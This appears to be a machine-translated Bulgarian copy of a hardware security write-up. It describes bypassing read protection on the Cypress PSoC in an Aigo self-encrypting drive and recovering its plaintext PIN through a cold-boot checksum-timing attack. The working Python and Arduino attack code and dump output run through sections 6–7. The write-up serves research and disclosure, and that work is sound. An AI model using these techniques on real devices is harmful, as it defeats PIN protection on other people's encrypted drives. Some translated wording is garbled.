Обръщане и хакване на Aigo самокриптиращ външен твърд диск. Част 2: Изхвърляне на Cypress PSoC

Това е втората и последна част от статията за хакването на външни самокриптиращи се устройства. Напомням, че наскоро един колега ми донесе хард диск Patriot (Aigo) SK8671, реших да го обърна и сега споделям какво се случи. Преди да прочетете по-нататък, не забравяйте да проверите първа част статия.

4. Започваме да изхвърляме от вътрешната PSoC флашка
5. ISSP протокол
– 5.1. Какво е ISSP
– 5.2. Демистификация на векторите
– 5.3. Комуникация с PSoC
– 5.4. Идентифициране на регистри на чип
– 5.5. Битове за сигурност
6. Първа (неуспешна) атака: ROMX
7. Втора атака: Проследяване на студено рестартиране
– 7.1. Внедряване
– 7.2. Разчитане на резултата
– 7.3. Флаш двоична реконструкция
– 7.4. Намиране на адреса за съхранение на пинкода
– 7.5. Премахваме бунището на блок No126
– 7.6. Възстановяване на ПИН код
8. Какво следва?
9. заключение

Обръщане и хакване на Aigo самокриптиращ външен твърд диск. Част 2: Изхвърляне на Cypress PSoC


4. Започваме да изхвърляме от вътрешната PSoC флашка

И така, всичко сочи (както установихме в [първа част]()), че пинкодът се съхранява във флаш червата на PSoC. Следователно трябва да разчетем тези светкавични черва. Фронт на необходимата работа:

  • поемете контрола върху "комуникацията" с микроконтролера;
  • намерете начин да проверите дали тази "комуникация" е защитена от четене отвън;
  • намерете начин да заобиколите защитата.

Има две места, където има смисъл да търсите валиден пинкод:

  • вътрешна флаш памет;
  • SRAM, където може да се съхранява пинкодът, за да се сравни с пинкода, въведен от потребителя.

Гледайки напред, ще отбележа, че все пак успях да изхвърля вътрешното PSoC флаш устройство - заобикаляйки неговата защитна система, чрез хардуерна атака за проследяване на студено зареждане - след обръщане на недокументираните функции на протокола ISSP. Това ми позволи директно да изхвърля действителния пинкод.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Краен програмен код:

5. ISSP протокол

5.1. Какво е ISSP

„Комуникирането“ с микроконтролер може да означава всичко от „доставчик на доставчик“ до взаимодействие с помощта на сериен протокол (като ICSP за PIC на Microchip).

Cypress има свой собствен патентован протокол за това, наречен ISSP (протокол за серийно програмиране в системата), който е частично описан в Техническа Спецификация. Патент US7185162 също дава известна информация. Има и аналог на OpenSource, наречен HSSP (ще го използваме малко по-късно). ISSP работи по следния начин:

  • рестартирайте PSoC;
  • изведе магическо число към крака със серийни данни на този PSoC; за влизане в режим на външно програмиране;
  • изпращат команди, които са дълги битови низове, наречени "вектори".

Документацията на ISSP дефинира тези вектори само за няколко инструкции:

  • Инициализиране-1
  • Инициализиране-2
  • Инициализиране-3 (3V и 5V опции)
  • ID-НАСТРОЙКА
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111 където dddddddd=блок #
  • ГРУПОВО ИЗТРИВАНЕ
  • ПРОГРАМЕН БЛОК
  • ПРОВЕРКА-НАСТРОЙКА
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1 където DDDDDDDD = изходящи данни, aaaaaa = адрес (6 бита)
  • WRITE-BYTE: 10010aaaaaadddddddd111 където dddddddd = входни данни, aaaaaa = адрес (6 бита)
  • SECURE
  • НАСТРОЙКА НА КОНТРОЛНА СУМА
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, където DDDDDDDDDDDDDDDD = изходящи данни: контролна сума на устройството
  • ИЗТРИЙ БЛОК

Например вектор за Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Всички вектори имат еднаква дължина: 22 бита. В документацията на HSSP има допълнителна информация за ISSP: "ISSP векторът не е нищо повече от битова последователност, която е набор от инструкции."

5.2. Демистификация на векторите

Нека да разберем какво става тук. Първоначално предположих, че същите тези вектори са необработени версии на M8C инструкции, но след като проверих тази хипотеза, открих, че кодовете на операциите не съвпадат.

След това потърсих в Google горния вектор и попаднах това изследване, в което авторът, без да се гмурка в подробностите, предоставя някои практически указания: „Всяка инструкция започва с три бита, които съответстват на една от четирите мнемоники (четене от RAM, запис в RAM, регистър за четене, регистър за запис). След това идва 8-битовият адрес, последван от 8 бита данни (четене или запис) и накрая три стоп бита.

Тогава успях да събера много полезна информация от раздела „Надзорен ROM (SROM)“ техническо ръководство. SROM е твърдо кодиран ROM в PSoC, който предоставя услуги (по подобен начин на Syscall) за програмен код, изпълняван в потребителското пространство:

  • 00h: Нулиране на SWBoot
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: Контролна сума
  • 08h: Калибриране0
  • 09h: Калибриране1

Чрез сравняване на имена на вектори с функции на SROM можем да съпоставим различните операции, поддържани от този протокол, с очакваните параметри на SROM. Благодарение на това можем да декодираме първите три бита на ISSP векторите:

  • 100
  • 101 => "rdmem"
  • 110
  • 111

Въпреки това, пълно разбиране на процесите в чипа може да се получи само чрез директна комуникация с PSoC.

5.3. Комуникация с PSoC

Още от Дърк на Петраутски пренесен Arduino HSSP код на Cypress, използвах Arduino Uno, за да се свържа с ISSP заглавката на клавиатурната платка.

Моля, имайте предвид, че в хода на моето проучване промених доста кода на Dirk. Можете да намерите моята модификация в GitHub: тук и съответния скрипт на Python за комуникация с Arduino, в моето хранилище cypress_psoc_tools.

И така, използвайки Arduino, първо използвах само "официални" вектори за "комуникация". Опитах се да прочета вътрешния ROM с помощта на командата VERIFY. Както се очакваше, не успях да го направя. Вероятно защото битовете за защита при четене са активирани във флашката.

След това създадох някои от моите прости вектори за писане и четене на памет/регистри. Моля, обърнете внимание, че можем да прочетем целия SROM, въпреки че флашката е защитена!

5.4. Идентифициране на регистри на чип

Разглеждайки „разглобените“ вектори, открих, че устройството използва недокументирани регистри (0xF8-0xFA), за да посочи M8C кодове за операции, които се изпълняват директно, заобикаляйки сигурността. Това ми позволи да стартирам различни кодове за операции като "ADD", "MOV A, X", "PUSH" или "JMP". Благодарение на тях (като разгледах страничните ефекти, които имат върху регистрите) успях да определя кои от недокументираните регистри всъщност са обикновени регистри (A, X, SP и PC).

В резултат на това "разглобеният" код, генериран от инструмента HSSP_disas.rb, изглежда така (добавих коментари за яснота):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Защитни битове

На този етап вече мога да комуникирам с PSoC, но все още нямам надеждна информация за битовете за сигурност на флашката. Бях много изненадан от факта, че Cypress не дава на потребителя на устройството никакви средства за проверка дали защитата е активирана. Разрових се в Google, за да разбера най-накрая, че HSSP кодът, предоставен от Cypress, е актуализиран, след като Dirk пусна своята модификация. И така! Ето нов вектор:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Използвайки този вектор (вижте read_security_data в psoc.py), получаваме всички битове за сигурност в SRAM при 0x80, където има два бита на блок за сигурност.

Резултатът е депресиращ: всичко е защитено в режим "деактивиране на външно четене и запис". Следователно можем не само да четем нищо от флаш устройство, но и да пишем каквото и да било (например да въведем ROM dumper там). И единственият начин да деактивирате защитата е да изтриете напълно целия чип. 🙁

6. Първа (неуспешна) атака: ROMX

Можем обаче да опитаме следния трик: тъй като имаме способността да изпълняваме произволни кодове на операции, защо да не изпълним ROMX, който се използва за четене на флаш памет? Този подход има добри шансове за успех. Тъй като функцията ReadBlock, която чете данни от SROM (която се използва от вектори), проверява дали е извикана от ISSP. Въпреки това, ROMX opcode може вероятно да няма тази проверка. И така, ето кода на Python (след добавяне на няколко помощни класа към кода на Sish Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

За съжаление този код не работи. 🙁 По-скоро работи, но получаваме собствени кодове за операции (0x28 0x30 0x40) на изхода! Не смятам, че съответната функционалност на устройството е елемент на защита от четене. Това е по-скоро като инженерен трик: когато се изпълняват външни кодове за операции, ROM шината се пренасочва към временен буфер.

7. Втора атака: Проследяване на студено рестартиране

Тъй като трикът ROMX не проработи, започнах да мисля за друг вариант на този трик - описан в публикацията „Хвърляне на твърде много светлина върху защитата на фърмуера на микроконтролера“.

7.1. Внедряване

Документацията на ISSP предоставя следния вектор за CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Това по същество е извикване на функцията SROM 0x07, както е представено в документацията (акцентът е мой):

Това е функция за проверка на контролна сума. Той изчислява 16-битова контролна сума на броя блокове, посочени от потребителя - в една флаш банка, като се брои от нула. Параметърът BLOCKID се използва за предаване на броя блокове, които да се използват при изчисляване на контролната сума. Стойност "1" ще изчисли само контролната сума за блок нула; като има предвид, че "0" ще доведе до изчисляване на общата контролна сума на всичките 256 блока на флаш банката. 16-битова контролна сума се връща чрез KEY1 и KEY2. В параметъра KEY1 долните 8 бита на контролната сума са фиксирани, а в KEY2 - горните 8 бита. За устройства с множество флаш банки функцията за контролна сума се извиква за всяко поотделно. Номерът на банката, с която ще работи, се задава от регистъра FLS_PR1 (чрез задаване на бита в него, съответстващ на целевата флаш банка).

Имайте предвид, че това е най-простата контролна сума: байтовете просто се добавят един по един; без фантастични CRC странности. Освен това, знаейки, че наборът от регистри в ядрото M8C е много малък, предположих, че при изчисляване на контролната сума междинните стойности ще бъдат фиксирани в същите променливи, които в крайна сметка ще отидат на изхода: KEY1 (0xF8) / KEY2 (0xF9).

И така, на теория моята атака изглежда така:

  1. Ние се свързваме чрез ISSP.
  2. Започваме изчисляването на контролната сума, използвайки вектора CHECKSUM-SETUP.
  3. Рестартираме процесора след определено време T.
  4. Прочетете RAM, за да получите текущата C контролна сума.
  5. Повторете стъпки 3 и 4, като всеки път леко увеличавате T.
  6. Възстановяваме данни от флашка, като изваждаме предишната контролна сума C от текущата.

Имаше обаче проблем: векторът Initialize-1, който трябва да изпратим след презареждането, презаписва KEY1 и KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Този код презаписва ценната ни контролна сума чрез извикване на Calibrate1 (SROM функция 9)... Може би можем просто да изпратим магическото число (от началото на кода по-горе) в режим на програмиране и след това да прочетем SRAM? И да, работи! Кодът на Arduino, който реализира тази атака, е доста прост:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Прочетете checkum_delay.
  2. Стартирайте изчисляването на контролната сума (send_checksum_v).
  3. Изчакайте определен период от време; предвид следните клопки:
    • Убих много време, докато разбера, че се оказва забавяне Микросекунди работи правилно само със закъснения, които не надвишават 16383 µs;
    • и след това отново уби същото време, докато не откри, че delayMicroseconds, ако му подадете 0 като вход, изобщо не работи!
  4. Презаредете PSoC в режим на програмиране (само изпращане на магическо число, без изпращане на вектори за инициализация).

Краен код на Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Накратко, какво прави този код:

  1. Презарежда PSoC (и му изпраща магическо число).
  2. Изпраща пълни вектори за инициализация.
  3. Извиква функцията на Arduino Cmnd_STK_START_CSUM (0x85) със забавяне в микросекунди като параметър.
  4. Чете контролната сума (0xF8 и 0xF9) и недокументирания регистър 0xF1.

Този код се изпълнява 10 пъти за 1 микросекунда. 0xF1 е включен тук, защото това беше единственият регистър, който се промени при изчисляване на контролната сума. Може би това е някаква временна променлива, използвана от аритметичната логическа единица. Обърнете внимание на грозния хак, който използвам, за да нулирам Arduino с помощта на picocom, когато Arduino спре да издава звуков сигнал (нямам представа защо).

7.2. Разчитане на резултата

Резултатът от скрипта на Python изглежда така (опростен за четливост):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Имаме обаче проблем: тъй като работим с действителната контролна сума, нулевият байт не променя прочетената стойност. Въпреки това, тъй като цялата процедура на изчисление (8192 байта) отнема 0,1478 секунди (с малки отклонения при всяко изпълнение), което е приблизително 18,04 µs на байт, можем да използваме това време, за да проверим стойността на контролната сума в подходящи моменти. При първите прогони всичко се чете доста лесно, тъй като продължителността на изчислителната процедура винаги е почти еднаква. Краят на този дъмп обаче е по-малко точен, тъй като „малките отклонения във времето“ при всяко изпълнение се сумират, за да станат значителни:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Това са 10 изхвърляния за всяко забавяне от микросекунда. Общото време за изхвърляне на всичките 8192 байта на флашка е около 48 часа.

7.3. Флаш двоична реконструкция

Все още не съм завършил писането на кода, който напълно реконструира програмния код на флашката, като вземе предвид всички отклонения във времето. Аз обаче вече възстанових началото на този код. За да се уверя, че съм го направил правилно, го разглобих с помощта на m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Изглежда съвсем истинско!

7.4. Намиране на адреса за съхранение на пинкода

Сега, когато можем да четем контролната сума в необходимите моменти, можем лесно да проверим как и къде се променя, когато:

  • въведете грешен пинкод;
  • промяна на пин кода.

Първо, за да намеря груб адрес за съхранение, направих дъмп на контролна сума на стъпки от 10 ms след рестартиране. След това въведох грешен пинкод и направих същото.

Резултатът не беше много приятен, защото имаше много промени. Но в крайна сметка успях да установя, че контролната сума се е променила някъде между 120000 140000 µs и 0 XNUMX µs забавяне. Но „пинкодът“, който открих там, беше напълно грешен - поради артефакт на процедурата delayMicroseconds, която прави странни неща, когато към нея се подаде XNUMX.

След това, след като прекарах почти 3 часа, си спомних, че системното извикване на CheckSum на SROM приема аргумент като вход, който указва броя на блоковете за контролната сума! Че. можем лесно да локализираме адреса за съхранение на пинкода и брояча на "невалидни опити" - с точност до 64-байтов блок.

Първоначалните ми проби дадоха следния резултат:

Обръщане и хакване на Aigo самокриптиращ външен твърд диск. Част 2: Изхвърляне на Cypress PSoC

След това промених пин кода от "123456" на "1234567" и получих:

Обръщане и хакване на Aigo самокриптиращ външен твърд диск. Част 2: Изхвърляне на Cypress PSoC

По този начин пинкодът и броячът на невалидните опити изглежда се съхраняват в блок #126.

7.5. Премахваме бунището на блок No126

Блок #126 трябва да бъде някъде около 125x64x18 = 144000µs, от началото на изчислението на контролната сума, в моя пълен дъмп, и изглежда доста правдоподобно. След това, след ръчно филтриране на множество лоши изхвърляния (поради натрупването на "малки отклонения във времето"), завърших с тези байтове (при забавяне от 145527 µs):

Обръщане и хакване на Aigo самокриптиращ външен твърд диск. Част 2: Изхвърляне на Cypress PSoC

Съвсем очевидно е, че пинкодът се съхранява некриптиран! Тези стойности, разбира се, не са написани в ASCII кодове, но както се оказа, те отразяват показанията, взети от капацитивната клавиатура.

Накрая проведох още няколко теста, за да разбера къде се съхранява броячът на лоши опити. Ето резултата:

Обръщане и хакване на Aigo самокриптиращ външен твърд диск. Част 2: Изхвърляне на Cypress PSoC

0xFF означава "15 опита" и намалява при всеки грешен опит.

7.6. Възстановяване на ПИН код

Ето моят грозен код, който събира всичко заедно:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Ето резултата от изпълнението му:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ура! Върши работа!

Моля, имайте предвид, че стойностите на забавяне, които използвах, най-вероятно са подходящи за един конкретен PSoC - този, който използвах.

8. Какво следва?

И така, нека обобщим от страна на PSoC, в контекста на нашето Aigo устройство:

  • можем да четем SRAM, дори ако е защитен от четене;
  • можем да заобиколим защитата от четене, като използваме атака за проследяване при студено рестартиране и директно четене на пинкода.

Нашата атака обаче има някои недостатъци поради проблеми със синхронизацията. Може да се подобри, както следва:

  • напишете помощна програма за правилно декодиране на изхода, който се получава в резултат на атака за проследяване на студено презареждане;
  • използвайте FPGA джаджи, за да създадете по-точни закъснения във времето (или използвайте хардуерни таймери на Arduino);
  • опитайте друга атака: въведете съзнателно грешен пинкод, рестартирайте и изхвърлете RAM, надявайки се, че правилният пинкод ще бъде записан в RAM за сравнение. Това обаче не е толкова лесно да се направи на Arduino, тъй като нивото на сигнала на Arduino е 5 волта, докато платката, която изследваме, работи с 3,3 волта сигнали.

Едно интересно нещо, което трябва да опитате, е да си поиграете с нивото на напрежение, за да заобиколите защитата при четене. Ако този подход работеше, щяхме да можем да получим абсолютно точни данни от флашката - вместо да разчитаме на прочетена контролна сума с неточни времеви закъснения.

Тъй като SROM вероятно чете защитните битове чрез системното извикване ReadBlock, можем да направим същото като описано в блога на Дмитрий Недоспасов - повторна реализация на атаката на Крис Герлински, обявена на конференцията Recon Брюксел 2017.

Друго забавно нещо, което може да се направи, е да се смила кутията от чипа: да се изхвърли SRAM, да се идентифицират недокументирани системни извиквания и уязвимости.

9. заключение

Така че защитата на това устройство оставя много да се желае, тъй като използва обикновен (не „закален“) микроконтролер за съхраняване на пинкода ... Плюс това, все още не съм погледнал (все още) как стоят нещата с криптирането на данни на това устройство!

Какво може да се посъветва за Aigo? След като анализирах няколко модела криптирани твърди дискове, през 2015 г. направих представяне на SyScan, който прегледа проблемите със сигурността на няколко външни твърди диска и направи препоръки как те могат да бъдат подобрени. 🙂

Прекарах два уикенда и няколко вечери в това проучване. Общо около 40 часа. Броя от самото начало (когато отворих диска) до края (pincode dump). Същите 40 часа включват времето, което прекарах в написването на тази статия. Беше много вълнуващо пътуване.

Източник: www.habr.com

Добавяне на нов коментар